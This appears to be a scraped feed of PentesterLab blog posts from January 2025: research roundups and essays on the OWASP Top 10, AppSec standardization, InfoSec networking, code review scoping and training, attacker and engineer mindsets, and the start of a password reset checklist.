Remote Code Execution using MIDI to run code? Yes, please: World’s First MIDI Shellcode.

🚗 Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin Panel

Check out this fascinating write-up by Sam and Shub on hacking a Subaru admin panel—a must-read for API hackers: Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin Panel.

📚 AppSec eZine #571

The latest edition of AppSec eZine is here! Read issue #571.

]]> Sun, 26 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week04-2025 https://pentesterlab.com/blog/research-worth-reading-week04-2025 With the new version of the famous OWASP Top 10 on the horizon, it’s a great time to talk about its true purpose, how it fits into application security, and ways we can best leverage it. It feels like a lot of people have lost sight of the original goal of this list, so let’s dive in!

The OWASP Top 10 as an Awareness Tool

The OWASP Top 10 is often the first security resource web developers encounter. It lists what the OWASP community considers the most critical web application security risks, based on extensive industry research and reported incidents. It’s a fantastic tool to guide developers toward good security practices—but if you’re a bug bounty hunter or pentester, it might not be your most useful roadmap.

OWASP states:

"The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications."

This focus on "awareness" is crucial. The primary audience is developers who need an introduction to common security pitfalls, such as injection flaws, broken authentication, and misconfigurations. By naming the ten most critical issues at a given point in time, OWASP effectively steers developers’ attention to the vulnerabilities that matter most right now. As a result, the Top 10 has become a foundational piece of security education in many development teams.

A Negative Signal for Security Researchers?

For bug bounty hunters, pentesters or security researchers, it’s almost a given that these high-level categories aren’t the only places to find vulnerabilities. In fact, the success of the OWASP Top 10 means developers are now more aware of these categories and often mitigate them proactively. As a researcher, that can act as a "negative signal"—if a company heavily promotes its "OWASP Top 10 compliance", it likely has already addressed the most obvious security bugs.

That doesn’t mean these issues never crop up—unfortunately, they still do—but "following the OWASP Top 10" isn’t the same as being secure. Truly thorough testing is about going deeper: analyzing custom logic, design flaws, unusual third-party integrations, and obscure framework quirks that lie beyond the OWASP categories. In other words, go where developers haven’t been taught to look yet.

Version Changes: XXE as an Example

The ongoing updates to the Top 10 offer good insights into how certain issues evolve. For example, XML External Entities (XXE) used to have its own dedicated category in the 2017 version but is now wrapped into Security Misconfiguration in the 2021 version. This shift makes sense—many frameworks have disabled entity support by default, making XXE less common as a standalone bug class.

But from a security researcher’s point of view, it’s also a clue. If a vulnerability is no longer singled out, developer awareness of it may go down over time—potentially leaving an opening for attackers to exploit it. This highlights how changes in the Top 10 can actually help you decide where to look more aggressively.

Why It Still Matters for Security Testers

Even if your primary focus is hunting deeper, less-common vulnerabilities, knowing the Top 10 is still important. If you’re assessing a new, relatively immature codebase, there’s a decent chance it contains these "usual suspects" in some form. Each environment is different, so keeping an eye on these categories helps ensure you don’t miss low-hanging fruit.

Additionally, professional pentests often have formal requirements around the OWASP Top 10. Clients may request a test specifically covering those categories, or you might need to reference them explicitly in your findings. For compliance-driven organizations, "Top 10 coverage" can be a big deal—so it’s good to be fluent in that language while still pushing beyond it.

Going Beyond the OWASP Top 10

One of the best ways to surpass the basics is to focus on technology-specific pitfalls. Modern frameworks and libraries have unique features (and misfeatures) that can lead to vulnerabilities not explicitly listed in the Top 10. Tracking emerging or re-emerging bug classes—like prototype pollution, race conditions or complex business logic errors—can reveal issues that common checklists don’t cover.

It also pays to dive deeper into architecture-level flaws. Problems like insecure caching mechanisms or subtle parameter tampering can slip past both scanners and standard "Top 10" audits. Understanding how frameworks work under the hood—and how developers might be using them incorrectly—can expose flaws that most dev teams never knew to guard against.

Conclusion

Ultimately, the OWASP Top 10 is a phenomenal resource for exactly what it was designed for: educating and raising awareness among web developers.

For pentesters, researchers, and bug bounty hunters, it’s useful as a sanity check and a common language to discuss issues with clients—but it’s far from the entire security picture. Once developers fix or mitigate the most visible risks, deeper investigation is needed to uncover unique, highly impactful vulnerabilities that lie beyond what a Top 10 list can capture.

If you’re solely relying on the OWASP Top 10, you risk missing some of the most interesting and damaging flaws. Recognize the Top 10 for what it is—an awareness tool—and then use your expertise to go one step further. That’s where the real discoveries happen.

And as the OWASP Top 10 continues to evolve—shedding older categories, combining or renaming others—its value as a reference remains, but it’s still up to researchers to stay current and look beyond what most developers are already watching for.

]]> Tue, 21 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/owasp-top-10-for-appsec-pentesters https://pentesterlab.com/blog/owasp-top-10-for-appsec-pentesters h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Another quiet week!

📝 Karmada Security Audit

The team at Shielder tested the Karmada project and has shared their report: Karmada Security Audit.

📚 AppSec eZine #570

The latest edition of AppSec eZine is here! Read issue #570.

]]> Sun, 19 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week03-2025 https://pentesterlab.com/blog/research-worth-reading-week03-2025 In a world where software vulnerabilities and data breaches dominate headlines, application security has become a top priority. Yet achieving consistent, scalable security across multiple products and teams is easier said than done. One approach that has proven highly effective is the homogenization of the development process. By standardizing workflows, tools, and security practices, organizations can drive greater consistency, improve collaboration, and ultimately enhance their overall security posture.

It’s very common for companies to have an AppSec-to-developer ratio of around 1 AppSec engineer for every 100 to 200 developers. If you want to push secure code quickly, remember that AppSec capacity is probably one of your main constraints. Standardizing how teams build, review, and deploy applications makes it a lot easier for AppSec teams to keep up. Ultimately, the simpler you make their lives, the faster you ship.

Why Homogenization Matters for Security

Consistent Standards and Best Practices

When all development teams use the same coding standards, frameworks, and security guidelines, it drastically reduces variability. This uniformity makes it easier to maintain code quality and catch flaws early. For instance, if every team relies on a standardized encryption library for storing sensitive data, it prevents teams from rolling out custom, potentially vulnerable solutions. With one go-to library, AppSec can provide targeted guidance and quickly patch or upgrade as threats evolve.

Streamlined Training and Onboarding

A consistent development environment simplifies training for new hires and ongoing education for current staff—especially regarding security requirements. With a single set of security tools, libraries, and scanning procedures, developers learn how to handle common vulnerabilities from day one. New hires spend less time figuring out which security checks are relevant and more time writing secure code. Regular refreshers on safe coding practices and threat modeling become routine, strengthening security know-how across the entire organization.

Efficient Security Reviews

Security teams benefit immensely from reviewing codebases that follow similar patterns. Tools such as Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) can be configured with fewer exceptions, speeding up the discovery and remediation of vulnerabilities. For instance, configuring automated scans for ten different frameworks is far more time-consuming than fine-tuning them for one or two.

Powerful Automation

In homogenous environments, CI/CD pipelines can be replicated across projects without major customizations. This consistency allows security checks—like dependency scans and container image scans—to be applied universally, catching issues early and often. Automation becomes an integral part of development rather than a last-minute add-on.

Easier Knowledge Sharing

When everyone speaks the same “language”—whether it’s a single framework or unified coding practices—teams can more easily share insights and best practices. A security incident or a successful mitigation strategy in one project can be swiftly adapted for others. That cross-pollination makes the entire organization stronger.

What Kind of Standardization Are We Talking About?

Everything that makes the AppSec team’s work easier—from using the same frameworks and libraries to adopting a unified Git workflow.

Git Workflow Consistency

If an AppSec engineer needs to handle dozens of projects, and they’re all using different Git workflows, it can be painfully time-consuming to find the current production version, submit a patch, or audit recent changes—especially during an incident. If all teams agree on one Git workflow, there’s a single convention. Everyone follows it, and there’s no more guesswork when accessing specific code.

Shared Building Blocks

In the same way, if all development teams rely on the same frameworks, libraries, and internal tooling, it’s far easier to review and fix code at scale. Identifying a security gap in one shared library means you can patch it once and apply that fix everywhere.

Balancing Standardization and Innovation

While homogenization offers many benefits, it’s important to strike a balance. Over-standardizing can limit a team’s ability to explore new ideas and technologies. Encourage targeted experimentation—perhaps through an approved “innovation track” or “pilot programs”—while maintaining a core set of standardized security practices that all teams must follow. If a team wants to adopt a new tech stack, they can present their case and demonstrate how they’ll address security in that environment.

How to Implement and Maintain These Standards

Define Core Frameworks and Tools

Create a short list of approved or recommended frameworks, security libraries, and testing tools. This helps limit the sprawl of technologies your AppSec team needs to support.

Establish a Governance Process

Form a cross-functional working group—Dev leads, AppSec, Ops—to oversee updates to these standards. Decide how often you’ll review and revise the list of approved tools and workflows.

Document and Communicate

Keep an up-to-date internal knowledge base that explains how (and why) to use the standard workflows. Run regular training sessions or lunch-and-learns to ensure everyone stays aligned.

Create an Exceptions Policy

Outline a simple process for teams that need to diverge from the standard. This might involve documenting the use case, getting sign-off from AppSec, and proving there’s a plan to handle security reviews. Having an established path for exceptions actually reinforces your standardized approach because it prevents one-off decisions from sneaking in unnoticed.

Conclusion

Homogenizing the development process isn’t just about making life easier for developers (though it certainly does). It’s about scaling application security in a way that’s both effective and sustainable. By adopting standardized tools, frameworks, and workflows, organizations reduce risks, accelerate reviews, and foster a culture of continuous improvement—ultimately delivering more secure applications to their users.

Remember, AppSec teams are often a bottleneck in modern development. The easier you make their life, the faster you can deploy code without compromising on security.

]]> Thu, 16 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/homogenizing-development-for-scalable-appsec https://pentesterlab.com/blog/homogenizing-development-for-scalable-appsec When we talk about “networking” in InfoSec—especially for aspiring pentesters—most people immediately think of IP addresses, ports, and three-way handshakes. But there’s another side to “networking” that has nothing to do with TCP/IP and everything to do with forging human connections.

A lot of your career progress will come from meeting the right people, getting the right recommendations, and sharing your passion with like-minded folks.

Why Network IRL (In Real Life)?

Sure, you can learn Python via online courses and perfect your hacking skills in isolated labs, but getting out there and meeting people face-to-face has its own special rewards:

• You can ask specific questions and receive real-time, nuanced feedback.
• You’ll form genuine connections and friendships that can last a lifetime.
• Many jobs and gigs aren’t publicly advertised; they’re shared via trusted networks.

A Personal Journey

When I arrived in Australia, I didn’t know many people in the InfoSec community. Some coworkers suggested I check out a local 2600 meetup. From there, I ended up meeting a lot of fantastic folks who later became some of my closest friends. That also paved the way for me to attend (and eventually speak at) the local monthly meetup, Ruxmon. These new connections even gave me the opportunity to speak at conferences—and ultimately, land jobs I wouldn’t have found otherwise. It’s a prime example of how building real relationships can directly influence your career trajectory.

Experiencing the impact of local meetups firsthand made me realize how crucial they are for fostering genuine relationships—so let’s talk about some of the best places to find them.

Where to Go: Meetups and Conferences

Below are some go-to places for making meaningful connections in the InfoSec scene. They’re all great opportunities to learn and meet potential mentors, collaborators, or future employers.

• OWASP Meetups

  OWASP (Open Web Application Security Project) chapters run monthly in many cities worldwide, and some are even online. They’re a fantastic way to learn about web application security and meet people who share similar interests.

• BSides

  BSides conferences take place in major cities globally—usually once a year. They’re smaller and more intimate than massive cons, making it easier to strike up conversations and learn directly from presenters.

• 2600 Meetups

  2600 meetups also happen monthly, but the vibe is more underground. Expect a wide range of attendees, from curious newcomers to old-school hackers. Great place to soak in some hacking history and underground culture.

• Local Conferences

  Lots of cities have smaller, local InfoSec conferences or security tracks at broader tech events. Keep an eye out for any community-run events in your area.

Volunteering: The Overlooked Networking Goldmine

Volunteering at conferences can be a powerful way to meet organizers and speakers. Conference organizers often know a ton of people in the industry—volunteering gives you a direct line to them. You usually also get a free ticket to the event, and possibly invitations to social events where you can talk shop with speakers and sponsors.

Build Connections Online, Too

In addition to in-person events, online communities can be just as valuable. Many InfoSec training companies and influencers have Discord servers or Slack channels:

• For example, PentesterLab hosts a Discord community. It’s a great place to share tips, ask questions, or even find collaboration opportunities.

• Follow your favorite speakers, authors, and content creators; most will have an online hub where you can connect with others who have similar goals.

What If There’s No Security Meetup Where You Live?

If you don’t have an InfoSec gathering in your area, don’t fret. You can still go to local dev or DevOps meetups. Why?

• They’re excellent for learning about development and operational practices—which is crucial to understand security needs especially if you want to specialize in product security or application security.

• You’ll often find security folks popping in, and you can still gain valuable contacts.

Try Speaking

It might seem intimidating, but giving a talk—no matter how short—helps you stand out. Many conferences have beginner-friendly speaking tracks. You could:

• Showcase a project you’ve worked on, like a CTF challenge or a unique vulnerability you discovered.
• Share your journey into InfoSec—what worked, what didn’t, and the lessons you learned.
• End your talk by mentioning you’re looking for a job if you are—this can spark interesting conversations.

Conference attendees and fellow speakers will be more likely to remember and connect with you afterward. It’s a great way to jumpstart those valuable conversations that lead to career opportunities.

A Few Other Recommendations

• Connect to share, not to take.

  People quickly spot when someone only wants to “get something.” Aim for authentic, two-way relationships.

• Don’t ask if you can ask—just ask.

  When messaging someone online or on social media, be direct yet polite. Don’t waste time on excessive preambles. For some people, it may even feel like a "foot in the door", hoping a small request will pave the way for a bigger one.

• Don’t be a jerk.

  It might sound obvious, but courtesy goes a long way in this industry (and any industry, really).

Conclusion

Networking in InfoSec isn’t just about IP addresses and ports—it’s also about forging genuine, human connections that can open doors you never knew existed. Whether you’re volunteering, joining local meetups, hopping on Discord servers, or even trying your hand at a short talk, every step you take to connect with others contributes to your growth in this ever-evolving field.

Homework

• Pick One Event

  Commit to attending at least one InfoSec event—online or in-person—this year. It could be a local meetup, a conference like BSides, or even a security workshop. Mark it on your calendar and make it a priority to show up.

• Join a Discord Server

  Keep learning and connecting by joining an InfoSec-focused Discord community—such as the PentesterLab server or another that suits your interests. Introduce yourself, ask questions, and share resources.

By completing these two pieces of “homework,” you’ll be well on your way to building the kind of authentic relationships that can truly shape your InfoSec career—and make the journey even more exciting.

]]> Sat, 11 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/infosec-networking-guide-beyond-tcp-ip https://pentesterlab.com/blog/infosec-networking-guide-beyond-tcp-ip

Training developers in security code review goes beyond simply enhancing their ability to write secure code. It equips them with the skills to identify and address security vulnerabilities during the development process itself, which has significant benefits for ongoing code maintenance, peer programming, and scaling the efforts of the application security team.

Enhancing Ongoing Code Maintenance

Code maintenance is an ongoing task that involves updating, refactoring, and fixing bugs in the codebase. As applications evolve, maintaining security becomes a continuous process. By training developers in security code review, organizations can integrate security checks into every stage of code maintenance. Developers trained in security code review are better equipped to recognize and mitigate potential security risks as they maintain and update code. This proactive approach ensures that security vulnerabilities are not inadvertently introduced during routine updates or bug fixes, leading to a more resilient and secure application over time.

Improving Peer Programming

Peer programming is a collaborative approach where two developers work together on the same piece of code. When developers are trained in security code review, they can bring a security-focused perspective to their collaboration. This ensures that security considerations are part of the conversation during code development, not an afterthought. With developers aware of common security pitfalls and how to spot them, they can catch potential issues early in the process. This not only improves the quality of the code being written but also reinforces a security-conscious culture within the development team.

Scaling the Application Security Team's Efforts

One of the most significant challenges for application security teams is scaling their efforts across large codebases and numerous projects. The demand for security reviews often outpaces the capacity of dedicated security teams. By training developers in security code review, organizations can distribute the responsibility for security across the entire development team. This approach effectively multiplies the application security team's efforts, as trained developers can independently review code for security issues during their daily work.

This distributed approach allows the application security team to focus on more complex and high-risk areas, knowing that the broader development team is capable of handling many of the routine security checks. It also fosters a security-first mindset throughout the organization, as developers take ownership of the security of their code. In the long run, this not only improves the overall security posture of the organization but also leads to more secure products and faster time to market, as security is integrated into the development process rather than being treated as a separate, external function.

Conclusion

Training developers in security code review has far-reaching benefits that extend beyond their immediate development tasks. It enhances ongoing code maintenance by ensuring that security remains a priority even as code evolves, strengthens peer programming by integrating security into the collaborative development process, and scales the efforts of the application security team by embedding security expertise within the development team. By empowering developers with the skills to conduct security code reviews, organizations can create a more secure and resilient software development lifecycle.

]]> Thu, 09 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/security-code-review-training-for-developers https://pentesterlab.com/blog/security-code-review-training-for-developers Scoping a security code review is a critical step in ensuring a successful engagement. Without proper scoping, you risk falling into one of two traps: either you have too little time to conduct a thorough review and miss critical issues, or you spend excessive time and resources analyzing code with diminishing returns. The key is to balance depth, coverage, and cost to maximize value for the client and your team.

Understanding the Goals of a Security Code Review

A well-scoped security code review starts with understanding the client’s goals. Are they looking for exploitable bugs, a strengthened security posture, or simply a clearer understanding of potential risks in their application? Clients might seek a code review for various reasons: they may have already subjected the application to rigorous penetration testing, heard about the benefits of security code reviews, or want to use the review process as a foundation for internal developer training. Each of these scenarios will dictate a different approach to the review, affecting how much time and effort you invest in different areas of the codebase.

Evaluating Application Complexity and Size

The complexity and size of the application are also major factors. Reviewing a small CRUD application built with Rails is vastly different from auditing a highly complex system implementing zero-knowledge algorithms or innovative cryptography. The larger and more intricate the application, the more time and expertise are required. A codebase with 100,000 lines of code demands a different approach from one with a million lines. Adding to this, the programming language can impact the cost and effort—it’s easier to find experienced reviewers for popular languages like Golang than for more niche languages like Scala.

Knowing Where to Stop

One of the most challenging aspects of scoping a security code review is deciding where to stop. Code reviews can spiral into an endless rabbit hole—checking dependencies, dependencies of dependencies, or even the underlying framework itself. Knowing when to draw the line is crucial. While it might seem appealing to audit every aspect of the system, this isn’t realistic or cost-effective for most clients. The focus should remain on areas of the application that are most likely to yield impactful findings based on the client’s goals and the application’s threat profile.

Tailoring the Review to Threat Profiles

Speaking of threat profiles, a proper threat assessment can help scope a security code review tactically. An internal application with features accessible only to trusted users requires a different approach than a public-facing application with self-registration. In the first case, you may prioritize reviewing authentication mechanisms and session management, whereas in the latter, your focus might shift to input validation and public API endpoints. Tailoring the scope to address specific threats ensures that your efforts are directed toward the areas that matter most.

Addressing Deployment and Testing Challenges

Another factor to consider is the deployment and testing environment. If the code is difficult to deploy or cannot be run with full debugging enabled, your ability to trace behaviors and confirm vulnerabilities will be limited. A lack of debugging capabilities can slow down the review process significantly. Similarly, if it takes several days to set up the test environment, this delay should be factored into the timeline. A seamless and functional environment allows reviewers to map code to application behavior more effectively, which is critical for identifying and verifying issues.

Setting Client Expectations

The client’s expectations for findings also play a major role in shaping the review. Some clients may value detailed explanations of risks and recommendations for improvement, while others might want fully working exploits to demonstrate the impact of vulnerabilities. Writing exploits takes time, especially when bypassing multiple layers of defense, and this effort must be accounted for in the scope. Additionally, consider what deliverables the client expects from the review. Some clients can benefit from tailored artefacts, such as a set of Semgrep or SAST rules created to address recurring issues in their codebase. These artefacts not only provide immediate value but also help establish long-term safeguards for maintaining security. Clarifying these expectations upfront will prevent misunderstandings and ensure that the review delivers what the client truly needs.

Timeboxing and Collaboration for Efficiency

Timeboxing is often the most practical way to scope a security code review. For very small engagements, a one-week review may suffice, while more comprehensive reviews typically require at least two to four weeks. Iterative reviews can be particularly effective for large or complex systems. After completing an initial cycle, evaluate the findings and decide whether further review cycles are warranted. This approach ensures that the review remains focused and cost-effective, avoiding situations where you continue reading code without meaningful security improvements. Unfortunately, doing this can be a nightmare for scheduling.

A successful security code review also benefits from multiple reviewers. Having at least two reviewers allows for cross-validation of findings and ensures that nothing critical is overlooked. This collaborative approach is particularly important for longer engagements, where fresh perspectives can make a significant difference.

Educating Clients About Security Code Reviews

Educating clients is another essential part of the scoping process. Not all clients have a clear understanding of what a security code review entails or how to scope it effectively. Some may overestimate the importance of certain areas or underestimate the value of targeted reviews. For example, a client requesting a comprehensive review of a fragile system might benefit more from prioritizing foundational fixes before diving into deeper analysis. If the client has not conducted a penetration test yet, this might be a more efficient or cost-effective starting point. Alternatively, a "grey box" approach, where the testers have access to the code during a penetration test, can offer a balanced middle ground—combining the strengths of both methodologies. By guiding clients toward a more strategic approach, you can help them achieve better outcomes while avoiding unnecessary costs.

Conclusion

Scoping a security code review is both an art and a science. It requires balancing technical depth with practical constraints, understanding the client’s goals, and tailoring the approach to deliver maximum value. While it may seem daunting at first, scoping becomes more intuitive with practice and experience. By focusing on the right areas and setting clear expectations, you can ensure a successful review that meets the client’s needs and strengthens their application’s security.

]]> Mon, 06 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/scoping-security-code-review-guide https://pentesterlab.com/blog/scoping-security-code-review-guide h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Happy New Year, everyone! Just one write-up and AppSec eZine this week, but WHAT A WRITE-UP!

🤯 Breaking the Chain: Wiz Uncovers a Signature Verification Bypass in Nuclei, the Popular Vulnerability Scanner (CVE-2024-43405)

Do yourself a favor and read this! I love the content, the vulnerability, and the way it is written. The usage of the 🚩 particularly (you know I'm a big fan of those if you read my posts) to highlight the building blocks of a vulnerability is excellent. Check it out here: Breaking the Chain: Wiz Uncovers a Signature Verification Bypass in Nuclei, the Popular Vulnerability Scanner (CVE-2024-43405).

📚 AppSec eZine #568

The latest edition of AppSec eZine is here! Read issue #568.

]]> Sun, 05 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week01-2025 https://pentesterlab.com/blog/research-worth-reading-week01-2025 While developing the "Criminal Mind" is crucial for uncovering vulnerabilities, there is another equally important skill to master: developing the "Engineer Mind." This involves building a robust mental image of code and architecture.

The "Engineer Mind" enables you to reverse engineer how applications are written and architected by observing behaviors, inspecting features, and testing their boundaries. Once you've built a strong mental model, you can often predict how systems will behave, where they might break, and what could go wrong.

Building a Mental Image of Code

When testing a web application, skilled pentesters and AppSec engineers are constantly reverse-engineering its behavior to construct a mental image of the underlying code. This mental process involves simulating the code in your mind or jotting down pseudo-code based on observed behaviors.

For example, consider a file upload feature. You upload an image and access it at /uploads/myimage.jpg. You can start mentally drafting the backend logic:

save(file, '/uploads/')

Next, you upload myimage.php and encounter an error. This reveals something about file type validation. Piece by piece, you build a mental representation of the logic:

if file is PHP
  return error

save(file, '/uploads/')

Then, you upload an image with the extension .php and encounter the same error. This reveals another layer about file type validation:

if file extension is PHP
  return error

save(file, '/uploads/')

The goal is to transition from black-box testing to a mental white-box testing approach by constructing a detailed internal image of the code.

Another way to build this mental image is by breaking down features into their possible implementation. For instance, when testing a login feature, consider how the application might be verifying credentials: Is it hashing passwords? Is there a session mechanism? What kind of database query might it run? These mental exercises sharpen your ability to anticipate the code’s behavior and design.

If you aren’t already doing this, start! It will transform how you approach testing and debugging.

Constructing a Mental Image of Architecture

Building a mental architecture involves visualizing how the components of a system interact and function together. As you test an application, details emerge that add to this mental model.

For example:

• If a file is uploaded and directly served from an S3 bucket, you can add S3 to your mental architecture image.
• If the application throws a MySQL error when an input is too long, you add MySQL to the architecture.

Little by little, you construct this mental architecture. The more detailed your mental image, the easier it becomes to identify where to look for vulnerabilities, inefficiencies, or potential failures.

Why This Matters

Building mental models of both code and architecture offers several key advantages:

• Predict Weak Points: Identify areas prone to vulnerabilities, even in complex systems.
• Think Like a Builder: Understand the constraints and assumptions behind design decisions.
• Navigate Complexity: Quickly assess large-scale, distributed systems with efficiency and accuracy.

How to Build a Mental Image of Code

Building a mental image of code requires deliberate practice and a structured approach to analyzing and understanding how features are implemented.

• Read Code: Dive into source code, focusing on how applications block attacks and remain vulnerable. Practice with real-world codebases, exploring common frameworks like Rails or Django.
• Do Gray-Box Testing: Blend black-box and white-box approaches. This lets you correlate observed behaviors with the underlying code.
• Break Down Features into Code: When encountering a feature, try to visualize or write out how it might be implemented. For example, think through the logic of a password reset flow: How is the token generated? Where is it stored? How is it validated?
• Build Applications: By creating small apps using frameworks, you’ll gain firsthand experience in understanding typical patterns, strengths, and pitfalls.

How to Build a Mental Image of an Architecture

To develop a strong mental image of an architecture, you need to combine hands-on experience with theoretical knowledge. The following tasks will guide you in understanding how systems are designed, deployed, and how their components interact, so you can build a clear and detailed picture of their architecture.

• Deploy Complex Applications:
  • Experiment with containerized systems (e.g., Kubernetes).
  • Set up CI/CD pipelines and monitoring tools.
  • Observe system interactions and error handling in real-world scenarios.
• Read Architecture Books:
  • Designing Data-Intensive Applications by Martin Kleppmann.
  • The Art of Scalability by Abbott and Fisher.
  • Clean Architecture by Robert C. Martin.
• Follow Engineering Blogs:
  • The Netflix TechBlog
  • AWS Architecture Blog
  • GitHub Engineering Blog
  • Stripe Engineering Blog
  • ...
• Break Down Systems in Your Mind:
  • Analyze how components communicate and respond to failures.
  • Practice deconstructing known applications, such as social media platforms or e-commerce systems.

Combining the "Engineer Mind" with the "Criminal Mind"

The most successful pentesters and AppSec engineers combine the creative, adversarial thinking of the "Criminal Mind" with the systematic, structural thinking of the "Engineer Mind." Together, these approaches enable you to:

• Understand systems deeply enough to uncover weaknesses.
• Predict how attackers might exploit vulnerabilities.
• Provide actionable recommendations to enhance security.

Conclusion

The "Engineer Mind" and the "Criminal Mind" are two sides of the same coin, working together to master the art of hacking and application security. While the "Criminal Mind" focuses on exploiting weaknesses and uncovering vulnerabilities, the "Engineer Mind" builds a deep understanding of how systems are designed and operate. Together, they form a balanced and powerful approach—like yin and yang—where creativity meets structure, and intuition meets technical precision.

By developing both mindsets, you can not only identify vulnerabilities but also understand their root causes and how to prevent them. Mastering the "Engineer Mind" through building applications, studying architecture, and analyzing systems will elevate your skills, making you a more effective pentester, AppSec engineer, and problem solver. With this dual perspective, you’ll be ready to tackle even the most complex security challenges.

]]> Sun, 05 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/engineer-mind-visualizing-code-and-architecture https://pentesterlab.com/blog/engineer-mind-visualizing-code-and-architecture In the world of security testing and vulnerability research, there’s a specific mindset that sets some individuals apart—a way of thinking I often describe as the "criminal mind".

These are the people who, when presented with a website, a feature, or even a real-world scenario, instinctively identify potential loopholes, vulnerabilities, or unconventional ways to exploit the system. For them, it’s not just about using something as intended; it’s about figuring out what else can be done.

The Hallmarks of a Criminal Way of Thinking

The criminal way of thinking is not about malicious intent but rather about curiosity, creativity, and a willingness to explore the boundaries of what’s possible. It's a mindset characterized by:

• Lateral Thinking: They approach problems from unconventional angles, questioning assumptions and exploring paths that others might overlook.
• Curiosity: They’re driven by an insatiable desire to understand how things work—and how they can be broken.
• Pattern Recognition: They’re adept at spotting weaknesses and patterns that might hint at a deeper issue.
• Risk Assessment: They intuitively evaluate the risk and reward of different actions, making educated guesses about where the most significant vulnerabilities might lie.

Born or Made?

One of the perennial debates in the security field is whether this mindset is innate or learned. Are some people simply born with this way of thinking, or can it be cultivated over time?

The Case for Being Born With It

Some individuals seem naturally inclined toward this way of thinking. From an early age, they’re the ones disassembling toys, questioning rules, or finding creative ways to bypass restrictions. For them, thinking outside the box is second nature. They might not even realize their approach is unique until they encounter others who don’t see the same opportunities.

The Case for Cultivation

While some might have a natural predisposition, many argue that this mindset can be developed through experience and practice. Exposure to real-world problems, learning from others in the field, and a genuine passion for exploration can transform even the most conventional thinker into someone capable of "criminal" creativity. Formal training, mentorship, and hands-on practice in identifying vulnerabilities are powerful tools for nurturing this way of thinking.

Why This Mindset Matters in Security

The "criminal mind" is invaluable in security testing because it mirrors the thought processes of actual attackers. By thinking like an adversary, testers can uncover vulnerabilities before malicious actors do, providing an essential layer of defense for applications, systems, and organizations. This mindset enables:

• Proactive Discovery: Identifying flaws before they’re exploited.
• Creative Testing: Going beyond checklists to uncover hidden issues.
• Realistic Threat Modeling: Understanding how an attacker might approach a system.

One of the biggest challenges in secure coding is that developers often fail to realize their code is vulnerable. This can be attributed not only to a lack of secure coding knowledge but also to an inherent difficulty in viewing their own work through the lens of a potential attacker.

Helping developers develop the "criminal mind" is often a key element of getting them to discover flaws in their code. It's always a good exercise in secure training and even in peer code review to get developers to ask themselves, "What could the bad guys do?"

A Practical Example: The Airlock Door Dilemma

This is a scenario I came across to access a data center. Imagine a scenario where three people need to enter a building, but they only have two access cards. The entrance features an airlock door system that requires an access card to be tapped at both doors on the way in and out. How do all three individuals gain entry?

Someone with a "criminal mind" might approach this problem by questioning the assumptions of the system. They might consider solutions like propping a door open, using timing to pass cards back through the airlock, or any number of creative approaches. The key is identifying the system’s limitations and leveraging them to achieve the desired outcome.

The solution: The first person taps a card at the first door and carries that card inside the airlock. They tap the card on the internal door and leave the card on the floor. The next person uses the second card to pass the first door, leaves this card for the next person, and uses the card on the floor to pass the second door, then leaves the card on the floor for the next person. The third person uses the first card and keeps it with them, grabs the card on the floor in the airlock, and enters the building with both cards on them.

Cultivating the "Criminal Mind" as a Pentester or Bug Bounty Hunter

For those looking to develop this mindset, one effective method is systematic preparation and study. Here’s how to cultivate it:

• Build a Knowledge Base: Keep a detailed list of application types, features, and the vulnerabilities commonly associated with them. Regularly read bug bounty write-ups, vulnerability reports, and CVEs to expand this knowledge base. Make sure you keep notes for each type of application and feature.
• Analyze and Categorize: For each type of application and feature, document what has been tested, what vulnerabilities were found, and how they were exploited. Create a checklist or reference guide that you can consult during future testing.
• Practice Constantly: Engage in hands-on practice by participating in Capture the Flag (CTF) challenges, bug bounty programs, or creating your own testing environment.
• Stay Curious: Always ask, "What if?" when exploring systems. Look for the unexpected interactions or overlooked assumptions that could lead to vulnerabilities.
• Learn from Others: Follow experienced researchers and ethical hackers. Study their approaches and thought processes to understand how they identify and exploit vulnerabilities.

Encouraging the Criminal Mind

For those looking to foster this mindset, here are a few additional tips:

• Practice Lateral Thinking Exercises: Engage in puzzles, games, or challenges that require unconventional problem-solving.
• Experiment and Explore: Take the time to play with systems, experiment with inputs, and test the limits of functionality.
• Adopt a Critical Perspective: Always ask, "What could go wrong here?" or "How could this be abused?"
• Challenge your assumptions: What assumptions are you making in your everyday life? What if...
• Think Like the Dodgiest Person You Know: Picture the most cunning or rule-bending person you’ve encountered and ask yourself, "What would this person do in this situation?" This exercise can help you uncover creative or unconventional ways to exploit a system.

Conclusion

Whether born with it or cultivated over time, the criminal way of thinking is a cornerstone of effective security testing. It’s a mindset that challenges the status quo, pushes boundaries, and ultimately makes the digital and physical worlds safer for everyone. By understanding and embracing this approach, we can better equip ourselves to anticipate and defend against the ever-evolving tactics of adversaries.

]]> Fri, 03 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/criminal-mindset-in-security-testing https://pentesterlab.com/blog/criminal-mindset-in-security-testing A secure password reset process is a cornerstone of account security for any web application. If not implemented correctly, it can expose users to severe security risks, including unauthorized account access. When a password reset process is broken, even the strongest authentication and authorization mechanisms are rendered irrelevant.

This article outlines a comprehensive checklist to help you identify potential risks, avoid common pitfalls, and implement best practices for a secure password reset process.

---

Classic Implementation

A classic implementation of a password reset process usually follows these steps:

1. Users submit their email address to request a password reset.
2. They receive a link containing a random token via email.
3. Clicking the link prompts them to enter a new password.
4. Users submit the new password.
